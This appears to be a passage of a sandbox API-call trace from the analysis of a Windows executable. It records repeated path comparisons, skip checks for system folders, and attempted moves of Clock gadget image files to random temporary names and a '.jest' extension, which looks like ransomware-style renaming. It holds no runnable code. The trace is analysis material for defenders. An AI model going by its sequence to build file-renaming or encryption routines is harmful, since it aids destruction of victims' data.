[0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0125.842] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0125.842] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", lpFilePart=0x18e708*="flower_h.png") returned 0x4f [0125.842] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m5dwa9pcxo_0thikfeqe_soiljrpafm_cvineja4ejuv6gg7nod7fh_nbwkrb ktbhu_nkzeqcehlkxgmbjbyauo5kienpagpoip4.tmp")) returned 0 [0125.842] GetLastError () returned 0x5 [0125.842] GetLastError () returned 0x5 [0125.842] SetLastError (dwErrCode=0x5) [0125.843] GetLastError () returned 0x5 [0125.843] SetLastError (dwErrCode=0x5) [0125.843] GetLastError () returned 0x5 [0125.843] SetLastError (dwErrCode=0x5) [0125.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.843] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.843] GetFullPathNameA (in: lpFileName="M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpFilePart=0x18e6e4*="M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp") returned 0x8f [0125.843] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7764354d, cFileName="A9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.843] GetLastError () returned 0x2 [0125.843] GetLastError () returned 0x2 [0125.843] SetLastError (dwErrCode=0x2) [0125.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.844] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.844] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.844] GetLastError () returned 0x0 [0125.844] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.844] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0125.844] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.844] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0125.844] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.845] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0125.845] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.845] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0125.845] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.845] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0125.845] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.845] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0125.845] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png", cchLength=0x7b | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-gadgets-clock_31bf3856ad364e35_6.1.7600.16385_none_3342e6899aa0557f\\flower_h.png") returned 0x7b [0125.845] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0125.846] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.846] GetLastError () returned 0x0 [0125.846] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.846] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.846] GetTickCount () returned 0x1151e99 [0125.846] GetTickCount () returned 0x1151e99 [0125.846] GetTickCount () returned 0x1151e99 [0125.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.846] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.846] GetTickCount () returned 0x1151e99 [0125.846] IsWindowVisible (hWnd=0x30268) returned 0 [0125.846] Sleep (dwMilliseconds=0x0) [0125.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.847] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.848] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png.jest")) returned 0 [0125.848] GetLastError () returned 0x5 [0125.848] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹭湰g") returned 0x4f [0125.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.848] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹭湰g") returned 0x4f [0125.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png") returned 80 [0125.848] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹭湰⹧敪瑳") returned 0x54 [0125.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.848] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹭湰⹧敪瑳") returned 0x54 [0125.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=85, lpWideCharStr=0x144bb04, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png.jest") returned 85 [0125.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", lpUsedDefaultChar=0x0) returned 80 [0125.848] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", lpFilePart=0x18e6d8*="flower_m.png") returned 0x4f [0125.848] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x78, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 0x143ce48 [0125.849] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.849] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.849] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2cd)) [0125.849] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2cd)) [0125.849] GetUserDefaultLCID () returned 0x409 [0125.849] VarBstrFromR4 (in: fltIn=0x479444dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.72") returned 0x0 [0125.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="Ÿ") returned 1 [0125.849] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.850] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.850] GetTickCount () returned 0x1151e99 [0125.850] GetTickCount () returned 0x1151e99 [0125.850] GetTickCount () returned 0x1151e99 [0125.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.850] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.850] GetTickCount () returned 0x1151e99 [0125.850] IsWindowVisible (hWnd=0x30268) returned 0 [0125.850] Sleep (dwMilliseconds=0x0) [0125.854] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.854] GetFullPathNameA (in: lpFileName="lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp", lpFilePart=0x18e708*="lON9krTqwWZOcHT4f_VLPpWSUC5lflYBdNJS8DG3ZYSk0euRRn_L PwPsah9Ci5RTMq_ugrVMWiRsbhl-lr6GX-VYMFDykS199vM.tmp") returned 0x8e [0125.855] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png", lpFilePart=0x18e708*="flower_m.png") returned 0x4f [0125.855] MoveFileA 